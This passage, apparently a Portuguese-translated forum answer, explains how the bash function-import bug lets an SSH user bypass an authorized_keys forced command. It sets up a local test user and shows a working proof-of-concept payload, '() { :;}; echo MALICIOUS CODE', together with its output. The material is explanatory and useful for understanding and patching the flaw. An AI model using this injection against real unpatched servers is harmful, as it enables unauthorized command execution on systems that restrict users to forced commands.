Um exemplo em que isso pode ser explorado é em servidores com um authorized_keys
comando forçado. Ao adicionar uma entrada ~/.ssh/authorized_keys
, você pode prefixar a linha com command="foo"
para forçar foo
a execução a qualquer momento em que a chave pública ssh for usada. Com essa exploração, se o shell do usuário de destino estiver definido como bash
, eles poderão tirar vantagem da exploração para executar outras coisas que não o comando para o qual são forçados.
Isso provavelmente faria mais sentido no exemplo, então aqui está um exemplo:
sudo useradd -d /testuser -s /bin/bash testuser
sudo mkdir -p /testuser/.ssh
sudo sh -c "echo command=\\\"echo starting sleep; sleep 1\\\" $(cat ~/.ssh/id_rsa.pub) > /testuser/.ssh/authorized_keys"
sudo chown -R testuser /testuser
Aqui, configuramos um usuário testuser
que força qualquer conexão ssh usando sua chave ssh para executar echo starting sleep; sleep 1
.
Podemos testar isso com:
$ ssh testuser@localhost echo something else
starting sleep
Observe como o nosso echo something else
não é executado, mas starting sleep
mostra que o comando forçado foi executado.
Agora vamos mostrar como essa exploração pode ser usada:
$ ssh testuser@localhost '() { :;}; echo MALICIOUS CODE'
MALICIOUS CODE
starting sleep
Isso funciona porque sshd
define a SSH_ORIGINAL_COMMAND
variável de ambiente para o comando passado. Portanto, apesar de sshd
executado sleep
, e não o comando que eu disse, por causa da exploração, meu código ainda é executado.